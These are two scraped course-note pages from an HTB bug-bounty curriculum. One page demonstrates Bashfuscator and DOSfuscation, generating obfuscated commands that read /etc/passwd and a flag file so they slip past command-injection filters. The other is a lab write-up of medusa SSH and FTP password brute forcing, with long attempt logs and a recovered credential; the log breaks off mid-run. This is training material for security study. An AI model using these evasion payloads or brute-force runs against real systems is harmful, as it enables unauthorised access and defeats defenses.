--- # Evasion Tools | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools.md) . Evasion Tools[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools#evasion-tools) ------------------------------------------------------------------------------------------------------------------------ * * * If we are dealing with advanced security tools, we may not be able to use basic, manual obfuscation techniques. In such cases, it may be best to resort to automated obfuscation tools. This section will discuss a couple of examples of these types of tools, one for `Linux` and another for `Windows.` * * * ### Linux (Bashfuscator)[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools#linux-bashfuscator) A handy tool we can utilize for obfuscating bash commands is [Bashfuscator](https://github.com/Bashfuscator/Bashfuscator) . We can clone the repository from GitHub and then install its requirements, as follows: Evasion Tools Copy Code4Christ@htb[/htb]$ git clone https://github.com/Bashfuscator/Bashfuscator Code4Christ@htb[/htb]$ cd Bashfuscator Code4Christ@htb[/htb]$ pip3 install setuptools==65 Code4Christ@htb[/htb]$ python3 setup.py install --user Once we have the tool set up, we can start using it from the `./bashfuscator/bin/` directory. There are many flags we can use with the tool to fine-tune our final obfuscated command, as we can see in the `-h` help menu: Evasion Tools Copy Code4Christ@htb[/htb]$ cd ./bashfuscator/bin/ Code4Christ@htb[/htb]$ ./bashfuscator -h usage: bashfuscator [-h] [-l] ...SNIP... optional arguments: -h, --help show this help message and exit Program Options: -l, --list List all the available obfuscators, compressors, and encoders -c COMMAND, --command COMMAND Command to obfuscate ...SNIP... We can start by simply providing the command we want to obfuscate with the `-c` flag: Evasion Tools However, running the tool this way will randomly pick an obfuscation technique, which can output a command length ranging from a few hundred characters to over a million characters! So, we can use some of the flags from the help menu to produce a shorter and simpler obfuscated command, as follows: Evasion Tools We can now test the outputted command with `bash -c ''`, to see whether it does execute the intended command: Evasion Tools We can see that the obfuscated command works, all while looking completely obfuscated, and does not resemble our original command. We may also notice that the tool utilizes many obfuscation techniques, including the ones we previously discussed and many others. Exercise: Try testing the above command with our web application, to see if it can successfully bypass the filters. If it does not, can you guess why? And can you make the tool produce a working payload? * * * ### Windows (DOSfuscation)[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools#windows-dosfuscation) There is also a very similar tool that we can use for Windows called [DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation) . Unlike `Bashfuscator`, this is an interactive tool, as we run it once and interact with it to get the desired obfuscated command. We can once again clone the tool from GitHub and then invoke it through PowerShell, as follows: Evasion Tools We can even use `tutorial` to see an example of how the tool works. Once we are set, we can start using the tool, as follows: Evasion Tools Finally, we can try running the obfuscated command on `CMD`, and we see that it indeed works as expected: Evasion Tools Tip: If we do not have access to a Windows VM, we can run the above code on a Linux VM through `pwsh`. Run `pwsh`, and then follow the exact same command from above. This tool is installed by default in your \`Pwnbox\` instance. You can also find installation instructions at this [link](https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux) . For more on advanced obfuscation methods, you may refer to the [Secure Coding 101: JavaScript](https://academy.hackthebox.com/course/preview/secure-coding-101-javascript) module, which covers advanced obfuscations methods that can be utilized in various attacks, including the ones we covered in this module. [PreviousAdvanced Command Obfuscation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation) [NextPrevention](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention) Last updated 1 year ago * [Evasion Tools](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools#evasion-tools) * [Linux (Bashfuscator)](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools#linux-bashfuscator) * [Windows (DOSfuscation)](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools#windows-dosfuscation) Copy Code4Christ@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd' [+] Mutators used: Token/ForCode -> Command/Reverse [+] Payload: ${*/+27\[X\(} ...SNIP... ${*~} \ [+] Payload size: 1664 characters\ \ Copy\ \ Code4Christ@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1\ \ [+] Mutators used: Token/ForCode\ [+] Payload:\ eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"\ [+] Payload size: 104 characters\ \ Copy\ \ Code4Christ@htb[/htb]$ bash -c 'eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'\ \ root:x:0:0:root:/root:/bin/bash\ ...SNIP...\ \ Copy\ \ PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git\ PS C:\htb> cd Invoke-DOSfuscation\ PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1\ PS C:\htb> Invoke-DOSfuscation\ Invoke-DOSfuscation> help\ \ HELP MENU :: Available options shown below:\ [*] Tutorial of how to use this tool TUTORIAL\ ...SNIP...\ \ Choose one of the below options:\ [*] BINARY Obfuscated binary syntax for cmd.exe & powershell.exe\ [*] ENCODING Environment variable encoding\ [*] PAYLOAD Obfuscated payload via DOSfuscation\ \ Copy\ \ Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt\ Invoke-DOSfuscation> encoding\ Invoke-DOSfuscation\Encoding> 1\ \ ...SNIP...\ Result:\ typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt\ \ Copy\ \ C:\htb> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt\ \ test_flag --- # Skills Assessment 2 | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2.md) . * * * This is the second part of the skills assessment. `YOU NEED TO COMPLETE THE FIRST PART BEFORE STARTING THIS`. Use the username you were given when you completed part 1 of the skills assessment to brute force the login on the target instance. LAB[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2#lab) -------------------------------------------------------------------------------------------- ### What is the username of the ftp user you find via brute-forcing?[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2#what-is-the-username-of-the-ftp-user-you-find-via-brute-forcing) Need to retrieve account password for satwossh user, will first start by hitting it with a brute force attack using medusa and the ssh protocol. Using 2023 most used passwords from the module and cheat sheet Copy // Some code ┌──(kali㉿kali)-[~/cbbh/bruteforce] └─$ medusa -h 94.237.63.24 -n 34189 -u satwossh -P 2023-200_most_used_passwords.txt -M ssh -t 3 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123456 (1 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: admin (2 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 12345678 (3 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123456789 (4 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1234 (5 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 12345 (6 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: password (7 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123 (8 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Aa123456 (9 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: UNKNOWN (10 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1234567890 (11 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1234567 (12 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123123 (13 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 111111 (14 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Password (15 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 12345678910 (16 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 000000 (17 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: admin123 (18 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: user (19 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: ******** (20 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1111 (21 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: P@ssw0rd (22 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: root (23 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 654321 (24 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: qwerty (25 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: ****** (26 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Pass@123 (27 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 112233 (28 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 102030 (29 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: ubnt (30 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: abc123 (31 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Aa@123456 (32 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: abcd1234 (33 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1q2w3e4r (34 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123321 (35 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: err (36 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: qwertyuiop (37 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 87654321 (38 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 987654321 (39 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Eliska81 (40 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123123123 (41 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 11223344 (42 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 987654321 (43 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: demo (44 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 12341234 (45 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: qwerty123 (46 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Admin@123 (47 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1q2w3e4r5t (48 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: pass (49 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Demo@123 (50 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 11111111 (51 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: ********** (52 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: azerty (53 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: admintelecom (54 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Admin (55 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123meklozed (56 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 666666 (57 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123456789 (58 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 121212 (59 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1234qwer (60 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: admin@123 (61 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1qaz2wsx (62 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: ************* (63 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123456789a (64 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Aa112233 (65 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: asdfghjkl (66 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Password1 (67 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 888888 (68 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: admin1 (69 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: test (70 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Aa123456@ (71 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: asd123 (72 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: qwer1234 (73 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123qwe (74 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 202020 (75 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: asdf1234 (76 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Abcd@1234 (77 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: banned (78 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 12344321 (79 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: aa123456 (80 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1122334455 (81 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Abcd1234 (82 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: guest (83 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 88888888 (84 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Admin123 (85 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: secret (86 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1122 (87 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: admin1234 (88 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: administrator (89 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Password@123 (90 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 10203040 (91 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: q1w2e3r4 (92 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 12345678a (93 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 555555 (94 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: a123456 (95 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: zxcvbnm (96 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: welcome (97 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Abcd@123 (98 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 101010 (99 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Welcome@123 (100 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: minecraft (101 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123654 (102 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Pass@1234 (103 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123456a (104 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: India@123 (105 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Ar123455 (106 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 159357 (107 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: password1 (108 of 200 complete) ACCOUNT FOUND: [ssh] Host: 94.237.63.24 User: satwossh Password: password1 [SUCCESS] ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 1 complete) Password: 54321 (109 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 1 complete) Password: qwe123 (110 of 200 complete) With satwossh password in hand, time to login in and do some recon, looking for the use of an ftp protocol Now I have retrieved the login credentials, user and pass for thomas, a quick ssh connection into his account reveals the flag.txt ### What is the flag contained within flag.txt[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2#what-is-the-flag-contained-within-flag.txt) [PreviousRe Walk + Write Up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up) [NextRe Walk + Write Up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up) Last updated 1 year ago * [LAB](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2#lab) * [What is the username of the ftp user you find via brute-forcing?](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2#what-is-the-username-of-the-ftp-user-you-find-via-brute-forcing) * [What is the flag contained within flag.txt](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2#what-is-the-flag-contained-within-flag.txt) Copy // Another open shell session ┌──(kali㉿kali)-[~/cbbh/bruteforce] └─$ ssh satwossh@94.237.63.24 -p 34189 satwossh@94.237.63.24's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.1.0-10-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. satwossh@ng-1067736-loginbfsatwo-cqdao-6d4ddfc96c-gh9n7:~$ ls IncidentReport.txt passwords.txt username-anarchy satwossh@ng-1067736-loginbfsatwo-cqdao-6d4ddfc96c-gh9n7:~$ cat IncidentReport.txt System Logs - Security Report Date: 2024-09-06 Upon reviewing recent FTP activity, we have identified suspicious behavior linked to a specific user. The user **Thomas Smith** has been regularly uploading files to the server during unusual hours and has bypassed multiple security protocols. This activity requires immediate investigation. All logs point towards Thomas Smith being the FTP user responsible for recent questionable transfers. We advise closely monitoring this user’s actions and reviewing any files uploaded to the FTP server. Security Operations Team # view content of user account satwossh@ng-1067736-loginbfsatwo-cqdao-6d4ddfc96c-gh9n7:~$ ls IncidentReport.txt passwords.txt username-anarchy # the Incidient report looks intersting, I will cat it to see what it is. satwossh@ng-1067736-loginbfsatwo-cqdao-6d4ddfc96c-gh9n7:~$ cat IncidentReport.txt System Logs - Security Report Date: 2024-09-06 # all signs point to the ftp user being thomas smith Upon reviewing recent FTP activity, we have identified suspicious behavior linked to a specific user. The user **Thomas Smith** has been regularly uploading files to the server during unusual hours and has bypassed multiple security protocols. This activity requires immediate investigation. All logs point towards Thomas Smith being the FTP user responsible for recent questionable transfers. We advise closely monitoring this user’s actions and reviewing any files uploaded to the FTP server. Security Operations Teamsatwo Copy satwossh@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~/username-anarchy$ ls LICENSE README.md format-plugins.rb names test-names.txt test-names2.txt test-names3.txt username-anarchy satwossh@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~/username-anarchy$ ./username-anarchy Thomas Smith > thomas_smith_usernames.txt satwossh@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~/username-anarchy$ ls LICENSE format-plugins.rb test-names.txt test-names3.txt username-anarchy README.md names test-names2.txt thomas_smith_usernames.txt satwossh@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~/username-anarchy$ medusa -h 127.0.0.1 -U thomas_smith_usernames.txt -P ../passwords.txt -M ftp -t 5 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: picture1 (1 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 123456 (2 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 12345678 (3 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 123456789 (4 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: password (5 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 111111 (6 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 123123 (7 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 12345 (8 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 1234567890 (9 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas 